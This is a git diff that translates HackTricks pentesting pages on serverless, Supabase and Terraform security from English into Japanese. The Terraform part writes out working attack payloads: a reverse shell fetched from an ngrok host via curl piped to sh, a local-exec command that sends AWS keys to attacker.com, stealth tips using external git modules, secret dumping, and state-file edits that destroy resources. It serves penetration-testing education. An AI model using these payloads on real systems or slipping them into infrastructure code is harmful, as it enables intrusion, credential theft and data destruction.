- **Rate Limiting and Throttling:** Prevent abuse by limiting request rates.
- ```yaml
- provider:
- apiGateway:
- throttle:
- burstLimit: 200
- rateLimit: 100
- ```
+```yaml
+provider:
+apiGateway:
+throttle:
+burstLimit: 200
+rateLimit: 100
+```
- **Secure CORS Configuration:** Restrict allowed origins, methods, and headers.
- ```yaml
- functions:
- hello:
- handler: handler.hello
- events:
- - http:
- path: hello
- method: get
- cors:
- origin: https://yourdomain.com
- headers:
- - Content-Type
- ```
+```yaml
+functions:
+hello:
+handler: handler.hello
+events:
+- http:
+path: hello
+method: get
+cors:
+origin: https://yourdomain.com
+headers:
+- Content-Type
+```
- **Use Web Application Firewalls (WAF):** Filter and monitor HTTP requests for malicious patterns.
---
-### **Insufficient Function Isolation**
+### **不十分な関数の分離**
Shared resources and inadequate isolation can lead to privilege escalations or unintended interactions between functions.
-#### **Mitigation Strategies**
+#### **緩和戦略**
- **Isolate Functions:** Assign distinct resources and IAM roles to ensure independent operation.
- **Resource Partitioning:** Use separate databases or storage buckets for different functions.
- **Use VPCs:** Deploy functions within Virtual Private Clouds for enhanced network isolation.
- ```yaml
- provider:
- vpc:
- securityGroupIds:
- - sg-xxxxxxxx
- subnetIds:
- - subnet-xxxxxx
- ```
+```yaml
+provider:
+vpc:
+securityGroupIds:
+- sg-xxxxxxxx
+subnetIds:
+- subnet-xxxxxx
+```
- **Limit Function Permissions:** Ensure functions cannot access or interfere with each other’s resources unless explicitly required.
---
-### **Inadequate Data Protection**
+### **不十分なデータ保護**
Unencrypted data at rest or in transit can be exposed, leading to data breaches or tampering.
-#### **Mitigation Strategies**
+#### **緩和戦略**
- **Encrypt Data at Rest:** Utilize cloud service encryption features.
- ```yaml
- resources:
- Resources:
- MyDynamoDBTable:
- Type: AWS::DynamoDB::Table
- Properties:
- SSESpecification:
- SSEEnabled: true
- ```
+```yaml
+resources:
+Resources:
+MyDynamoDBTable:
+Type: AWS::DynamoDB::Table
+Properties:
+SSESpecification:
+SSEEnabled: true
+```
- **Encrypt Data in Transit:** Use HTTPS/TLS for all data transmissions.
- **Secure API Communication:** Enforce encryption protocols and validate certificates.
@@ -758,39 +712,39 @@ Unencrypted data at rest or in transit can be exposed, leading to data breaches
---
-### **Lack of Proper Error Handling**
+### **適切なエラーハンドリングの欠如**
Detailed error messages can leak sensitive information about the infrastructure or codebase, while unhandled exceptions may lead to application crashes.
-#### **Mitigation Strategies**
+#### **緩和戦略**
- **Generic Error Messages:** Avoid exposing internal details in error responses.
- ```javascript
- javascriptCopy code// Example in Node.js
- exports.hello = async (event) => {
- try {
- // Function logic
- } catch (error) {
- console.error(error);
- return {
- statusCode: 500,
- body: JSON.stringify({ message: 'Internal Server Error' }),
- };
- }
- };
- ```
+```javascript
+javascriptCopy code// Example in Node.js
+exports.hello = async (event) => {
+try {
+// Function logic
+} catch (error) {
+console.error(error);
+return {
+statusCode: 500,
+body: JSON.stringify({ message: 'Internal Server Error' }),
+};
+}
+};
+```
- **Centralized Error Handling:** Manage and sanitize errors consistently across all functions.
- **Monitor and Log Errors:** Track and analyze errors internally without exposing details to end-users.
---
-### **Insecure Deployment Practices**
+### **不安全なデプロイメントプラクティス**
Exposed deployment configurations or unauthorized access to CI/CD pipelines can lead to malicious code deployments or misconfigurations.
-#### **Mitigation Strategies**
+#### **緩和戦略**
- **Secure CI/CD Pipelines:** Implement strict access controls, multi-factor authentication (MFA), and regular audits.
- **Store Configuration Securely:** Keep deployment files free from hardcoded secrets and sensitive data.
@@ -799,11 +753,11 @@ Exposed deployment configurations or unauthorized access to CI/CD pipelines can
---
-### **Vulnerabilities in Plugins and Extensions**
+### **プラグインと拡張機能の脆弱性**
Using unvetted or malicious third-party plugins can introduce vulnerabilities into your serverless applications.
-#### **Mitigation Strategies**
+#### **緩和戦略**
- **Vet Plugins Thoroughly:** Assess the security of plugins before integration, favoring those from reputable sources.
- **Limit Plugin Usage:** Use only necessary plugins to minimize the attack surface.
@@ -812,11 +766,11 @@ Using unvetted or malicious third-party plugins can introduce vulnerabilities in
---
-### **Exposure of Sensitive Endpoints**
+### **機密エンドポイントの露出**
Publicly accessible functions or unrestricted APIs can be exploited for unauthorized operations.
-#### **Mitigation Strategies**
+#### **緩和戦略**
- **Restrict Function Access:** Use VPCs, security groups, and firewall rules to limit access to trusted sources.
- **Implement Robust Authentication:** Ensure all exposed endpoints require proper authentication and authorization.
@@ -825,38 +779,34 @@ Publicly accessible functions or unrestricted APIs can be exploited for unauthor
---
-### **Excessive Permissions for Team Members and External Collaborators**
+### **チームメンバーと外部コラボレーターの過剰な権限**
Granting excessive permissions to team members and external collaborators can lead to unauthorized access, data breaches, and misuse of resources. This risk is heightened in environments where multiple individuals have varying levels of access, increasing the attack surface and potential for insider threats.
-#### **Mitigation Strategies**
+#### **緩和戦略**
- **Principle of Least Privilege:** Ensure that team members and collaborators have only the permissions necessary to perform their tasks.
---
-### **Access Keys and License Keys Security**
+### **アクセスキーとライセンスキーのセキュリティ**
**Access Keys** and **License Keys** are critical credentials used to authenticate and authorize interactions with the Serverless Framework CLI.
- **License Keys:** They are Unique identifiers required for authenticating access to Serverless Framework Version 4 which allows to login via CLI.
- **Access Keys:** Credentials that allow the Serverless Framework CLI to authenticate with the Serverless Framework Dashboard. When login with `serverless` cli an access key will be **generated and stored in the laptop**. You can also set it as an environment variable named `SERVERLESS_ACCESS_KEY`.
-#### **Security Risks**
+#### **セキュリティリスク**
1. **Exposure Through Code Repositories:**
- - Hardcoding or accidentally committing Access Keys and License Keys to version control systems can lead to unauthorized access.
+- Hardcoding or accidentally committing Access Keys and License Keys to version control systems can lead to unauthorized access.
2. **Insecure Storage:**
- - Storing keys in plaintext within environment variables or configuration files without proper encryption increases the likelihood of leakage.
+- Storing keys in plaintext within environment variables or configuration files without proper encryption increases the likelihood of leakage.
3. **Improper Distribution:**
- - Sharing keys through unsecured channels (e.g., email, chat) can result in interception by malicious actors.
+- Sharing keys through unsecured channels (e.g., email, chat) can result in interception by malicious actors.
4. **Lack of Rotation:**
- - Not regularly rotating keys extends the exposure period if keys are compromised.
+- Not regularly rotating keys extends the exposure period if keys are compromised.
5. **Excessive Permissions:**
- - Keys with broad permissions can be exploited to perform unauthorized actions across multiple resources.
+- Keys with broad permissions can be exploited to perform unauthorized actions across multiple resources.
{{#include ../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/supabase-security.md b/src/pentesting-ci-cd/supabase-security.md
index 6fa6219f8..e14b58d48 100644
--- a/src/pentesting-ci-cd/supabase-security.md
+++ b/src/pentesting-ci-cd/supabase-security.md
@@ -2,49 +2,48 @@
{{#include ../banners/hacktricks-training.md}}
-## Basic Information
+## 基本情報
-As per their [**landing page**](https://supabase.com/): Supabase is an open source Firebase alternative. Start your project with a Postgres database, Authentication, instant APIs, Edge Functions, Realtime subscriptions, Storage, and Vector embeddings.
+彼らの[**ランディングページ**](https://supabase.com/)によると:SupabaseはオープンソースのFirebaseの代替です。Postgresデータベース、認証、インスタントAPI、エッジ関数、リアルタイムサブスクリプション、ストレージ、ベクトル埋め込みを使用してプロジェクトを開始します。
-### Subdomain
+### サブドメイン
-Basically when a project is created, the user will receive a supabase.co subdomain like: **`jnanozjdybtpqgcwhdiz.supabase.co`**
+基本的にプロジェクトが作成されると、ユーザーは次のようなsupabase.coのサブドメインを受け取ります:**`jnanozjdybtpqgcwhdiz.supabase.co`**
-## **Database configuration**
+## **データベース設定**
> [!TIP]
-> **This data can be accessed from a link like `https://supabase.com/dashboard/project//settings/database`**
+> **このデータには、`https://supabase.com/dashboard/project//settings/database`のようなリンクからアクセスできます**
-This **database** will be deployed in some AWS region, and in order to connect to it it would be possible to do so connecting to: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (this was crated in us-west-1).\
-The password is a **password the user put** previously.
+この**データベース**は、いくつかのAWSリージョンにデプロイされ、接続するには次のように接続することができます:`postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres`(これはus-west-1で作成されました)。\
+パスワードは**ユーザーが以前に設定したパスワード**です。
-Therefore, as the subdomain is a known one and it's used as username and the AWS regions are limited, it might be possible to try to **brute force the password**.
+したがって、サブドメインは既知のものであり、ユーザー名として使用され、AWSリージョンは限られているため、**パスワードをブルートフォースする**ことが可能かもしれません。
-This section also contains options to:
+このセクションには、次のオプションも含まれています:
-- Reset the database password
-- Configure connection pooling
-- Configure SSL: Reject plan-text connections (by default they are enabled)
-- Configure Disk size
-- Apply network restrictions and bans
+- データベースパスワードのリセット
+- 接続プーリングの設定
+- SSLの設定:プレーンテキスト接続を拒否(デフォルトでは有効)
+- ディスクサイズの設定
+- ネットワーク制限と禁止の適用
-## API Configuration
+## API設定
> [!TIP]
-> **This data can be accessed from a link like `https://supabase.com/dashboard/project//settings/api`**
+> **このデータには、`https://supabase.com/dashboard/project//settings/api`のようなリンクからアクセスできます**
-The URL to access the supabase API in your project is going to be like: `https://jnanozjdybtpqgcwhdiz.supabase.co`.
+プロジェクト内のsupabase APIにアクセスするためのURLは次のようになります:`https://jnanozjdybtpqgcwhdiz.supabase.co`。
-### anon api keys
+### anon APIキー
-It'll also generate an **anon API key** (`role: "anon"`), like: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` that the application will need to use in order to contact the API key exposed in our example in
+**anon APIキー**(`role: "anon"`)も生成されます:`eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk`、アプリケーションがAPIキーに接触するために使用する必要があります。
-It's possible to find the API REST to contact this API in the [**docs**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server), but the most interesting endpoints would be:
+このAPIに接触するためのAPI RESTは[**ドキュメント**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server)で見つけることができますが、最も興味深いエンドポイントは次のとおりです:
-Signup (/auth/v1/signup)
-
+サインアップ (/auth/v1/signup)
```
POST /auth/v1/signup HTTP/2
Host: id.io.net
@@ -69,13 +68,11 @@ Priority: u=1, i
{"email":"test@exmaple.com","password":"SomeCOmplexPwd239."}
```
-
-Login (/auth/v1/token?grant_type=password)
-
+ログイン (/auth/v1/token?grant_type=password)
```
POST /auth/v1/token?grant_type=password HTTP/2
Host: hypzbtgspjkludjcnjxl.supabase.co
@@ -100,68 +97,63 @@ Priority: u=1, i
{"email":"test@exmaple.com","password":"SomeCOmplexPwd239."}
```
-
-So, whenever you discover a client using supabase with the subdomain they were granted (it's possible that a subdomain of the company has a CNAME over their supabase subdomain), you might try to **create a new account in the platform using the supabase API**.
+だから、クライアントが与えられたサブドメインを使用してsupabaseを利用していることを発見した場合(会社のサブドメインが彼らのsupabaseサブドメインにCNAMEを持っている可能性があります)、**supabase APIを使用してプラットフォームに新しいアカウントを作成する**ことを試みるかもしれません。
### secret / service_role api keys
-A secret API key will also be generated with **`role: "service_role"`**. This API key should be secret because it will be able to bypass **Row Level Security**.
+**`role: "service_role"`**を持つ秘密のAPIキーも生成されます。このAPIキーは、**Row Level Security**をバイパスできるため、秘密にしておく必要があります。
-The API key looks like this: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6InNlcnZpY2Vfcm9sZSIsImlhdCI6MTcxNDk5MjcxOSwiZXhwIjoyMDMwNTY4NzE5fQ.0a8fHGp3N_GiPq0y0dwfs06ywd-zhTwsm486Tha7354`
+APIキーは次のようになります: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6InNlcnZpY2Vfcm9sZSIsImlhdCI6MTcxNDk5MjcxOSwiZXhwIjoyMDMwNTY4NzE5fQ.0a8fHGp3N_GiPq0y0dwfs06ywd-zhTwsm486Tha7354`
### JWT Secret
-A **JWT Secret** will also be generate so the application can **create and sign custom JWT tokens**.
+**JWT Secret**も生成され、アプリケーションが**カスタムJWTトークンを作成および署名**できるようになります。
## Authentication
### Signups
> [!TIP]
-> By **default** supabase will allow **new users to create accounts** on your project by using the previously mentioned API endpoints.
+> **デフォルト**では、supabaseは**新しいユーザーがアカウントを作成する**ことをプロジェクトで許可します。
-However, these new accounts, by default, **will need to validate their email address** to be able to login into the account. It's possible to enable **"Allow anonymous sign-ins"** to allow people to login without verifying their email address. This could grant access to **unexpected data** (they get the roles `public` and `authenticated`).\
-This is a very bad idea because supabase charges per active user so people could create users and login and supabase will charge for those:
+しかし、これらの新しいアカウントは、デフォルトで**メールアドレスを検証する必要があります**。メールアドレスを検証せずにログインできるようにするために、**「匿名サインインを許可」**を有効にすることが可能です。これにより、**予期しないデータ**にアクセスできる可能性があります(彼らは`public`と`authenticated`の役割を得ます)。\
+これは非常に悪いアイデアです。なぜなら、supabaseはアクティブユーザーごとに料金を請求するため、人々はユーザーを作成してログインし、supabaseはそれに対して料金を請求するからです:
### Passwords & sessions
-It's possible to indicate the minimum password length (by default), requirements (no by default) and disallow to use leaked passwords.\
-It's recommended to **improve the requirements as the default ones are weak**.
+最小パスワード長(デフォルト)、要件(デフォルトではなし)を指定し、漏洩したパスワードの使用を禁止することが可能です。\
+**デフォルトの要件は弱いため、要件を改善することをお勧めします**。
-- User Sessions: It's possible to configure how user sessions work (timeouts, 1 session per user...)
-- Bot and Abuse Protection: It's possible to enable Captcha.
+- ユーザーセッション: ユーザーセッションの動作を構成することが可能です(タイムアウト、ユーザーごとに1セッション...)
+- ボットおよび悪用保護: Captchaを有効にすることが可能です。
### SMTP Settings
-It's possible to set an SMTP to send emails.
+メールを送信するためのSMTPを設定することが可能です。
### Advanced Settings
-- Set expire time to access tokens (3600 by default)
-- Set to detect and revoke potentially compromised refresh tokens and timeout
-- MFA: Indicate how many MFA factors can be enrolled at once per user (10 by default)
-- Max Direct Database Connections: Max number of connections used to auth (10 by default)
-- Max Request Duration: Maximum time allowed for an Auth request to last (10s by default)
+- アクセストークンの有効期限を設定(デフォルトは3600)
+- 潜在的に侵害されたリフレッシュトークンを検出して取り消し、タイムアウトを設定
+- MFA: ユーザーごとに同時に登録できるMFA要素の数を指定(デフォルトは10)
+- 最大直接データベース接続: 認証に使用される最大接続数(デフォルトは10)
+- 最大リクエスト期間: 認証リクエストが持続できる最大時間(デフォルトは10秒)
## Storage
> [!TIP]
-> Supabase allows **to store files** and make them accesible over a URL (it uses S3 buckets).
+> Supabaseは**ファイルを保存し**、URL経由でアクセス可能にします(S3バケットを使用します)。
-- Set the upload file size limit (default is 50MB)
-- The S3 connection is given with a URL like: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3`
-- It's possible to **request S3 access key** that are formed by an `access key ID` (e.g. `a37d96544d82ba90057e0e06131d0a7b`) and a `secret access key` (e.g. `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`)
+- アップロードファイルサイズの制限を設定(デフォルトは50MB)
+- S3接続は次のようなURLで提供されます: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3`
+- `access key ID`(例: `a37d96544d82ba90057e0e06131d0a7b`)と`secret access key`(例: `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`)から構成される**S3アクセスキーを要求する**ことが可能です。
## Edge Functions
-It's possible to **store secrets** in supabase also which will be **accessible by edge functions** (the can be created and deleted from the web, but it's not possible to access their value directly).
+supabaseに**秘密を保存する**ことも可能で、これは**エッジ関数によってアクセス可能**です(ウェブから作成および削除できますが、その値に直接アクセスすることはできません)。
{{#include ../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/terraform-security.md b/src/pentesting-ci-cd/terraform-security.md
index 09b875ff2..74aa5f4a0 100644
--- a/src/pentesting-ci-cd/terraform-security.md
+++ b/src/pentesting-ci-cd/terraform-security.md
@@ -2,307 +2,277 @@
{{#include ../banners/hacktricks-training.md}}
-## Basic Information
+## 基本情報
-[From the docs:](https://developer.hashicorp.com/terraform/intro)
+[ドキュメントから:](https://developer.hashicorp.com/terraform/intro)
-HashiCorp Terraform is an **infrastructure as code tool** that lets you define both **cloud and on-prem resources** in human-readable configuration files that you can version, reuse, and share. You can then use a consistent workflow to provision and manage all of your infrastructure throughout its lifecycle. Terraform can manage low-level components like compute, storage, and networking resources, as well as high-level components like DNS entries and SaaS features.
+HashiCorp Terraformは、**インフラストラクチャをコードとして管理するツール**であり、**クラウドおよびオンプレミスのリソース**を人間が読みやすい設定ファイルで定義でき、これをバージョン管理、再利用、共有できます。これにより、一貫したワークフローを使用して、インフラストラクチャのライフサイクル全体を通じてプロビジョニングおよび管理できます。Terraformは、コンピュート、ストレージ、ネットワークリソースなどの低レベルコンポーネントだけでなく、DNSエントリやSaaS機能などの高レベルコンポーネントも管理できます。
-#### How does Terraform work?
+#### Terraformはどのように機能しますか?
-Terraform creates and manages resources on cloud platforms and other services through their application programming interfaces (APIs). Providers enable Terraform to work with virtually any platform or service with an accessible API.
+Terraformは、クラウドプラットフォームや他のサービス上でリソースを作成および管理するために、アプリケーションプログラミングインターフェース(API)を通じて操作します。プロバイダーは、Terraformがアクセス可能なAPIを持つほぼすべてのプラットフォームやサービスで機能することを可能にします。
.png>)
-HashiCorp and the Terraform community have already written **more than 1700 providers** to manage thousands of different types of resources and services, and this number continues to grow. You can find all publicly available providers on the [Terraform Registry](https://registry.terraform.io/), including Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, and many more.
+HashiCorpとTerraformコミュニティは、すでに**1700以上のプロバイダー**を作成しており、数千の異なるタイプのリソースやサービスを管理でき、この数は増え続けています。すべての公開されているプロバイダーは、[Terraform Registry](https://registry.terraform.io/)で見つけることができ、Amazon Web Services (AWS)、Azure、Google Cloud Platform (GCP)、Kubernetes、Helm、GitHub、Splunk、DataDogなどが含まれます。
-The core Terraform workflow consists of three stages:
+Terraformのコアワークフローは、3つのステージで構成されています。
-- **Write:** You define resources, which may be across multiple cloud providers and services. For example, you might create a configuration to deploy an application on virtual machines in a Virtual Private Cloud (VPC) network with security groups and a load balancer.
-- **Plan:** Terraform creates an execution plan describing the infrastructure it will create, update, or destroy based on the existing infrastructure and your configuration.
-- **Apply:** On approval, Terraform performs the proposed operations in the correct order, respecting any resource dependencies. For example, if you update the properties of a VPC and change the number of virtual machines in that VPC, Terraform will recreate the VPC before scaling the virtual machines.
+- **書き込み:** 複数のクラウドプロバイダーやサービスにまたがるリソースを定義します。たとえば、セキュリティグループとロードバランサーを持つ仮想プライベートクラウド(VPC)ネットワーク上の仮想マシンにアプリケーションをデプロイするための設定を作成することがあります。
+- **計画:** Terraformは、既存のインフラストラクチャと設定に基づいて、作成、更新、または削除するインフラストラクチャを説明する実行計画を作成します。
+- **適用:** 承認後、Terraformはリソースの依存関係を尊重しながら、提案された操作を正しい順序で実行します。たとえば、VPCのプロパティを更新し、そのVPC内の仮想マシンの数を変更した場合、Terraformは仮想マシンをスケールする前にVPCを再作成します。
.png>)
-### Terraform Lab
+### Terraformラボ
-Just install terraform in your computer.
+コンピュータにterraformをインストールするだけです。
-Here you have a [guide](https://learn.hashicorp.com/tutorials/terraform/install-cli) and here you have the [best way to download terraform](https://www.terraform.io/downloads).
+こちらに[ガイド](https://learn.hashicorp.com/tutorials/terraform/install-cli)があり、こちらにterraformをダウンロードする[最良の方法](https://www.terraform.io/downloads)があります。
-## RCE in Terraform
+## TerraformにおけるRCE
-Terraform **doesn't have a platform exposing a web page or a network service** we can enumerate, therefore, the only way to compromise terraform is to **be able to add/modify terraform configuration files**.
+Terraformは、**ウェブページやネットワークサービスを公開するプラットフォームを持っていないため**、terraformを妥協する唯一の方法は、**terraform設定ファイルを追加/変更できること**です。
-However, terraform is a **very sensitive component** to compromise because it will have **privileged access** to different locations so it can work properly.
+しかし、terraformは**非常に敏感なコンポーネント**であり、適切に機能するために**特権アクセス**を持つ必要があります。
-The main way for an attacker to be able to compromise the system where terraform is running is to **compromise the repository that stores terraform configurations**, because at some point they are going to be **interpreted**.
+攻撃者がterraformが実行されているシステムを妥協する主な方法は、**terraform設定を保存するリポジトリを妥協すること**です。なぜなら、ある時点でそれらは**解釈される**からです。
-Actually, there are solutions out there that **execute terraform plan/apply automatically after a PR** is created, such as **Atlantis**:
+実際、**PR**が作成された後に**terraform plan/applyを自動的に実行する**ソリューションが存在します。たとえば、**Atlantis**があります:
{{#ref}}
atlantis-security.md
{{#endref}}
-If you are able to compromise a terraform file there are different ways you can perform RCE when someone executed `terraform plan` or `terraform apply`.
+terraformファイルを妥協できれば、誰かが`terraform plan`または`terraform apply`を実行したときにRCEを実行するさまざまな方法があります。
### Terraform plan
-Terraform plan is the **most used command** in terraform and developers/solutions using terraform call it all the time, so the **easiest way to get RCE** is to make sure you poison a terraform config file that will execute arbitrary commands in a `terraform plan`.
+Terraform planは、terraformで**最も使用されるコマンド**であり、開発者やソリューションが常に呼び出すため、**RCEを取得する最も簡単な方法**は、任意のコマンドを実行するterraform設定ファイルを汚染することです。
-**Using an external provider**
+**外部プロバイダーを使用する**
-Terraform offers the [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) which provides a way to interface between Terraform and external programs. You can use the `external` data source to run arbitrary code during a `plan`.
-
-Injecting in a terraform config file something like the following will execute a rev shell when executing `terraform plan`:
+Terraformは、Terraformと外部プログラムの間でインターフェースを提供する[`external`プロバイダー](https://registry.terraform.io/providers/hashicorp/external/latest/docs)を提供しています。`plan`中に任意のコードを実行するために`external`データソースを使用できます。
+terraform設定ファイルに次のようなものを注入すると、`terraform plan`を実行したときにリバースシェルが実行されます:
```javascript
data "external" "example" {
- program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
+program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}
```
+**カスタムプロバイダーの使用**
-**Using a custom provider**
-
-An attacker could send a [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) to the [Terraform Registry](https://registry.terraform.io/) and then add it to the Terraform code in a feature branch ([example from here](https://alex.kaskaso.li/post/terraform-plan-rce)):
-
+攻撃者は、[Terraform Registry](https://registry.terraform.io/)に[カスタムプロバイダー](https://learn.hashicorp.com/tutorials/terraform/provider-setup)を送信し、その後、機能ブランチのTerraformコードに追加することができます([こちらの例](https://alex.kaskaso.li/post/terraform-plan-rce)):
```javascript
- terraform {
- required_providers {
- evil = {
- source = "evil/evil"
- version = "1.0"
- }
- }
- }
+terraform {
+required_providers {
+evil = {
+source = "evil/evil"
+version = "1.0"
+}
+}
+}
provider "evil" {}
```
+プロバイダーは `init` でダウンロードされ、`plan` が実行されるときに悪意のあるコードが実行されます。
-The provider is downloaded in the `init` and will run the malicious code when `plan` is executed
+[https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec) に例があります。
-You can find an example in [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
+**外部参照の使用**
-**Using an external reference**
-
-Both mentioned options are useful but not very stealthy (the second is more stealthy but more complex than the first one). You can perform this attack even in a **stealthier way**, by following this suggestions:
-
-- Instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell:
+前述の2つのオプションは便利ですが、あまりステルス性がありません(2つ目はよりステルス性がありますが、1つ目よりも複雑です)。以下の提案に従うことで、この攻撃を**よりステルスに**実行できます:
+- terraformファイルにrev shellを直接追加する代わりに、rev shellを含む**外部リソースをロード**することができます:
```javascript
module "not_rev_shell" {
- source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
+source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}
```
-
You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
-- In the external resource, use the **ref** feature to hide the **terraform rev shell code in a branch** inside of the repo, something like: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
+- 外部リソースでは、**ref**機能を使用して、リポジトリ内の**ブランチにあるterraform rev shellコードを隠す**ことができます。例えば、次のようにします: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
### Terraform Apply
-Terraform apply will be executed to apply all the changes, you can also abuse it to obtain RCE injecting **a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
-You just need to make sure some payload like the following ones ends in the `main.tf` file:
-
+Terraform applyはすべての変更を適用するために実行されます。また、**悪意のあるTerraformファイルを** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**を使って注入することでRCEを取得するために悪用することもできます。**\
+`main.tf`ファイルに次のようなペイロードが含まれていることを確認するだけです:
```json
// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
- provisioner "local-exec" {
- command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
- }
+provisioner "local-exec" {
+command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
+}
}
// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
- provisioner "local-exec" {
- command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
- }
+provisioner "local-exec" {
+command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
+}
}
```
+**前の技術からの提案**に従って、この攻撃を**外部参照を使用してよりステルス的に実行**します。
-Follow the **suggestions from the previous technique** the perform this attack in a **stealthier way using external references**.
-
-## Secrets Dumps
-
-You can have **secret values used by terraform dumped** running `terraform apply` by adding to the terraform file something like:
+## シークレットダンプ
+`terraform apply`を実行することで**terraformによって使用されるシークレット値をダンプ**するには、terraformファイルに次のようなものを追加します:
```json
output "dotoken" {
- value = nonsensitive(var.do_token)
+value = nonsensitive(var.do_token)
}
```
+## Terraformステートファイルの悪用
-## Abusing Terraform State Files
+terraformステートファイルに書き込みアクセスがあるが、terraformコードを変更できない場合、[**この研究**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/)はファイルを利用するための興味深いオプションを提供します。
-In case you have write access over terraform state files but cannot change the terraform code, [**this research**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) gives some interesting options to take advantage of the file:
+### リソースの削除
-### Deleting resources
+リソースを破壊する方法は2つあります:
-There are 2 ways to destroy resources:
-
-1. **Insert a resource with a random name into the state file pointing to the real resource to destroy**
-
-Because terraform will see that the resource shouldn't exit, it'll destroy it (following the real resource ID indicated). Example from the previous page:
+1. **実際のリソースを削除するために、ランダムな名前のリソースをステートファイルに挿入する**
+terraformはそのリソースが存在すべきではないと判断し、それを削除します(指定された実際のリソースIDに従って)。前のページの例:
```json
{
- "mode": "managed",
- "type": "aws_instance",
- "name": "example",
- "provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
- "instances": [
- {
- "attributes": {
- "id": "i-1234567890abcdefg"
- }
- }
- ]
+"mode": "managed",
+"type": "aws_instance",
+"name": "example",
+"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
+"instances": [
+{
+"attributes": {
+"id": "i-1234567890abcdefg"
+}
+}
+]
},
```
+2. **リソースを削除するように変更し、更新できないようにする(そうすれば削除され再作成される)**
-2. **Modify the resource to delete in a way that it's not possible to update (so it'll be deleted a recreated)**
-
-For an EC2 instance, modifying the type of the instance is enough to make terraform delete a recreate it.
+EC2インスタンスの場合、インスタンスのタイプを変更するだけで、terraformはそれを削除して再作成します。
### RCE
-It's also possible to [create a custom provider](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) and just replace one of the providers in the terraform state file for the malicious one or add an empty resource with the malicious provider. Example from the original research:
-
+[カスタムプロバイダーを作成する](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider)ことも可能で、terraformステートファイル内のプロバイダーの1つを悪意のあるものに置き換えるか、悪意のあるプロバイダーを持つ空のリソースを追加することができます。元の研究からの例:
```json
"resources": [
{
- "mode": "managed",
- "type": "scaffolding_example",
- "name": "example",
- "provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]",
- "instances": [
+"mode": "managed",
+"type": "scaffolding_example",
+"name": "example",
+"provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]",
+"instances": [
- ]
+]
},
```
+### ブラックリストに登録されたプロバイダーの置き換え
-### Replace blacklisted provider
-
-In case you encounter a situation where `hashicorp/external` was blacklisted, you can re-implement the `external` provider by doing the following. Note: We use a fork of external provider published by https://registry.terraform.io/providers/nazarewk/external/latest. You can publish your own fork or re-implementation as well.
-
